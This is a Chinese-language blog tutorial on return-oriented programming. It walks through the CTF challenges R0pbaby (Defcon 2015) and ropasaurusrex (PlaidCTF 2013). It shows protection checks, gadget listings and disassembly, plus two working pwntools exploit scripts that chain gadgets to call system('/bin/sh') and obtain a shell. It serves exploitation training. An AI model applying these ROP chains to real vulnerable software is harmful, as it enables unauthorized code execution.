基础栈溢出复习 二 之 ROP

现代栈溢出利用技术基础：ROP

承接上一个篇目，这里继续讲ROP的一些题目分析。讲真的，我这里基本上的题目以及攻击方式都来自于Atum师傅在X-MAN的PPT。

CTF中ROP的常规套路:

第一次触发漏洞，通过ROP泄漏libc的address(如puts_got)，计算system地址，然后返回到一个可以重现触发漏洞的位置(如main)，再次触发漏洞，通过ROP调用system(“/bin/sh”)
直接execve(“/bin/sh”, [“/bin/sh”], NULL)，通常在静态链接时比较常用
三个练习:
Defcon 2015 Qualifier：R0pbaby
AliCTF 2016：vss
PlaidCTF 2013: ropasaurusrex
相关题目我们可以在CTFs上找到。
Defcon 2015 Qualifier：R0pbaby

我们拿到题目，可以先对题目进行检查，可先看看题目开启的保护

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : ENABLED
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

gdb-peda 自带的 checksec 有检测程序是否开启保护，以及所开启的保护。我们可以看到，R0pbaby 所开启的保护有FORTIFY以及NX，这里我们主要所收到的限制是栈上写入的数据不可执行。
以及，程序可以知道是６４位的，它的传参优先由寄存器完成。
接着，我们应该了解程序的流程，以及找到程序的漏洞，以及思考其利用方式。

*尝试运行程序

我们去尝试运行，摸清了基本上的程序的功能。

功能1，可以获得libc的基址
功能2，可以获得函数的地址
功能3，输入的地方，感觉这个地方可能存在漏洞。

紧接着，我们可以用IDA 分析程序了。

发现一个函数的不适当应用，拷贝的过程中没有判断大小，可能造成缓冲区溢出。

函数原型
void * memcpy(void*dest, const void * src, size_t n);
由src指向地址为起始地址的连续n个字节的数据复制到以destin指向地址为起始地址的空间内。

savedregs是一个IDA关键字，我们可以看到保存的堆栈帧指针和函数返回地址：在IDA中，我们可以直接单击它。

buf的大小应该是8没错，之后可能造成缓冲区溢出，那么我的解题思路大概是如下：

我们需要找到一个gadget RDI 用来起shell
其次我们需要找到 “bin/sh”的地址
最后，我们需要找到system函数的地址

完成上面三个步骤，我们就可以去构造我们的ROP链来getshell。

如何找到 `pop rdi`

我们需要找到:

1 2	pop rdi ret

如此的指令，
我们可以通过简单的objdump来寻找简单的gadget

wings@sw:~/桌面/Rop$ python ROPgadget.py --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret"
Gadgets information
0x00000000000206c1 : pop rbp ; pop r12 ; pop r13 ; ret
0x00000000000b5a23 : pop rbp ; pop r12 ; pop r14 ; ret
0x000000000001fb11 : pop rbp ; pop r12 ; ret
0x000000000012bf16 : pop rbp ; pop r13 ; pop r14 ; ret
0x0000000000020252 : pop rbp ; pop r14 ; pop r15 ; pop rbp ; ret
0x00000000000210fe : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000000ccb05 : pop rbp ; pop r14 ; pop rbp ; ret
0x00000000000202e6 : pop rbp ; pop r14 ; ret
0x000000000006d128 : pop rbp ; pop rbp ; ret
0x0000000000048438 : pop rbp ; pop rbx ; ret
0x000000000001f930 : pop rbp ; ret
0x00000000000ccb01 : pop rbx ; pop r12 ; pop r13 ; pop r14 ; pop rbp ; ret
0x000000000006d124 : pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
0x00000000000398c5 : pop rbx ; pop r12 ; pop rbp ; ret
0x00000000000202e1 : pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; ret
0x00000000000206c0 : pop rbx ; pop rbp ; pop r12 ; pop r13 ; ret
0x00000000000b5a22 : pop rbx ; pop rbp ; pop r12 ; pop r14 ; ret
0x000000000001fb10 : pop rbx ; pop rbp ; pop r12 ; ret
0x000000000012bf15 : pop rbx ; pop rbp ; pop r13 ; pop r14 ; ret
0x000000000001f92f : pop rbx ; pop rbp ; ret
0x000000000002a69a : pop rbx ; ret
0x0000000000001b18 : pop rbx ; ret 0x2a63
0x0000000000185240 : pop rbx ; ret 0x6f9
0x000000000013c01f : pop rcx ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; ret
0x000000000010134b : pop rcx ; pop rbx ; pop rbp ; pop r12 ; ret
0x00000000000e9aba : pop rcx ; pop rbx ; ret
0x0000000000001b17 : pop rcx ; pop rbx ; ret 0x2a63
0x00000000000fc3e2 : pop rcx ; ret
0x0000000000020256 : pop rdi ; pop rbp ; ret
0x0000000000021102 : pop rdi ; ret

因为是本地测试，所以我先查看自己本地的libc.so.6
确认libc.so.6

wings@sw:~/桌面/Rop$ ldd r0pbaby
	linux-vdso.so.1 =>  (0x00007ffff7ffd000)
	libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007ffff7bd9000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7810000)
	/lib64/ld-linux-x86-64.so.2 (0x0000555555554000)

1 2	wings@sw:~/桌面/Rop$ strings -a -tx /lib/x86_64-linux-gnu/libc.so.6 \| grep "/bin/sh" 18c177 /bin/sh

可以知道偏移是0x18c177

至于sytem函数，程序的第二个功能已经给我们了，至此，我们可以开始构造我们的exp了.

system = 0x00007FFFF784F390 #get_libc_base()
rdi_gadget_offset = 0x21102
bin_sh_offset = 0x18c177
system_offset = 0x45390

from pwn import *


debug =1
if debug ==1:
  io = process("./r0pbaby")
else:
  io = remote("127.0.0.1",10002)
  #db.attach(io)

system = 0x00007FFFF784F390#get_libc_base()
rdi_gadget_offset = 0x21102
bin_sh_offset = 0x18c177
system_offset = 0x45390
libc_base = system - system_offset # system addr - system_offset = libc_base
print "[+] libc base: [%x]" % libc_base
rdi_gadget_addr = libc_base + rdi_gadget_offset
print "[+] RDI gadget addr: [%x]" % rdi_gadget_addr
bin_sh_addr = libc_base + bin_sh_offset
print "[+] \"/bin/sh\" addr: [%x]" % bin_sh_addr
system_addr = 0x00007FFFF784F390#get_libc_func_addr(h, "system")
print "[+] system addr: [%x]" % system_addr

payload = "A"*8
payload += p64(rdi_gadget_addr)
payload += p64(bin_sh_addr)
payload += p64(system_addr)

io.recv(1024)
io.sendline("3")
io.recv(1024)
io.send("%d\n"%(len(payload)+1))
io.sendline(payload)
io.sendline("4")

io.interactive()

至此一个简单的64位程序 ROP Pwn题完成！！撒花　撒花～

PlaidCTF 2013: ropasaurusrex

上一个程序简单的调用 system + “bin/sh” 通过寄存器 gadget “pop rdi;ret “传参起shell，接着我们来完成第二个pwn，第二个pwn的特点是，我们需要去info leak 得到信息，然后计算system 的地址。

依旧是老三套，我们先分析一下程序开启的保护。

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

只开了NX 其他的都没开，我们可以应用ret2libc 的攻击方式来获取shell，所以我们得通过比如像write、puts、printf类似的函数做info leak用来计算system在内存中的地址。我们用IDA开，一边分析题目流程，一边找题目漏洞。

int __cdecl main()
{
  sub_80483F4();
  return write(1, "WIN\n", 4u);
}

sub_80483F4

ssize_t sub_80483F4()
{
  char buf; // [sp+10h] [bp-88h]@1

  return read(0, &buf, 0x100u);
}

很清晰，我们可以看到题目流程非常简单，就读取一定字节，然后直接打印WIN\n。紧接着，我们可以看到read函数被错误使用，

.text:080483F2 ; ---------------------------------------------------------------------------
.text:080483F3                 align 4
.text:080483F4
.text:080483F4 ; =============== S U B R O U T I N E =======================================
.text:080483F4
.text:080483F4 ; Attributes: bp-based frame
.text:080483F4
.text:080483F4 sub_80483F4     proc near               ; CODE XREF: main+9p
.text:080483F4
.text:080483F4 buf             = byte ptr -88h
.text:080483F4
.text:080483F4                 push    ebp
.text:080483F5                 mov     ebp, esp
.text:080483F7                 sub     esp, 98h
.text:080483FD                 mov     dword ptr [esp+8], 100h ; nbytes
.text:08048405                 lea     eax, [ebp+buf]
.text:0804840B                 mov     [esp+4], eax    ; buf
.text:0804840F                 mov     dword ptr [esp], 0 ; fd
.text:08048416                 call    _read
.text:0804841B                 leave
.text:0804841C                 retn
.text:0804841C sub_80483F4     endp
.text:0804841C
.text:0804841

buf大小只有0x88,但是却允许被读入0x100的字节大小，这明显可以造成缓冲区溢出。

1
2

wings@sw:~/桌面/Rop$ file ./ropasaurusrex
./ropasaurusrex: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.18, BuildID[sha1]=96997aacd6ee7889b99dc156d83c9d205eb58092, stripped

我们还知道的一点是，程序是32位，所以我们不需要像第一个题那样去找寄存器 gadget。
在main函数中有一个write函数，我们可以通过rop，来进行信息泄漏。所以攻击思大概是：

构造payload leak 内存中的一个函数地址，比如 read()
计算libc base
构造payload get shell

from pwn import *
debug = 1
elf = ELF('./ropasaurusrex')
if debug == 1:
    libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
    libc = ELF('/lib/i386-linux-gnu/libc.so.6')

bof = 0x80483f4 # the vulnerable function
buffer_len = 0x88

context.log_level = 'debug'
#p = remote(args.host, args.port)
#p = process('./ropasaurusrex')
p = remote('127.0.0.1',10002)
payload = ''
payload += 'A' * buffer_len
payload += 'AAAA' # saved ebp
payload += p32(elf.symbols['write'])
payload += p32(bof)
payload += p32(1) # stdout
payload += p32(elf.got['read'])
payload += p32(4) # len
p.send(payload)
resp = p.recvn(4)
read = u32(resp)
libc_base = read - libc.symbols['read']

payload = ''
payload += 'A' * buffer_len
payload += 'AAAA' # saved ebp
payload += p32(libc_base + libc.symbols['system'])
payload += 'AAAA' # cont
payload += p32(libc_base + next(libc.search('/bin/sh')))
p.send(payload)

p.sendline('ls')
p.interactive()

小结一下：
read@plt()和write@plt()函数。但因为程序本身并没有调用system()函数，所以我们并不能直接调用system()来获取shell。但其实我们有write@plt()函数就够了，因为我们可以通过write@plt ()函数把write()函数在内存中的地址也就是write.got给打印出来。既然write()函数实现是在libc.so当中，那我们调用的write@plt()函数为什么也能实现write()功能呢? 这是因为linux采用了延时绑定技术，当我们调用write@plit()的时候，系统会将真正的write()函数地址link到got表的write.got中，然后write@plit()会根据write.got 跳转到真正的write()函数上去。（如果还是搞不清楚的话，推荐阅读《程序员的自我修养 - 链接、装载与库》这本书）

上面的内容来自蒸米 -一步一步 rop

做了两个简单的rop 第一个的64位，第二个是32位，基本上也能体会到两者的区别了，一者是寄存器传参，一者是栈传参。至于AliCTF的vsvs ，我没找到Bin程序，所以这里就不单独分析了。我们看看别人的wp，例如链接https://segmentfault.com/a/1190000005718685

基础栈溢出复习二之 ROP

CTF中ROP的常规套路:

Defcon 2015 Qualifier：R0pbaby

如何找到 `pop rdi`

PlaidCTF 2013: ropasaurusrex

上面的内容来自蒸米 -一步一步 rop

Comments

CTF中ROP的常规套路:

Defcon 2015 Qualifier：R0pbaby

如何找到 pop rdi

PlaidCTF 2013: ropasaurusrex

上面的内容来自蒸米 -一步一步 rop

Comments

如何找到 `pop rdi`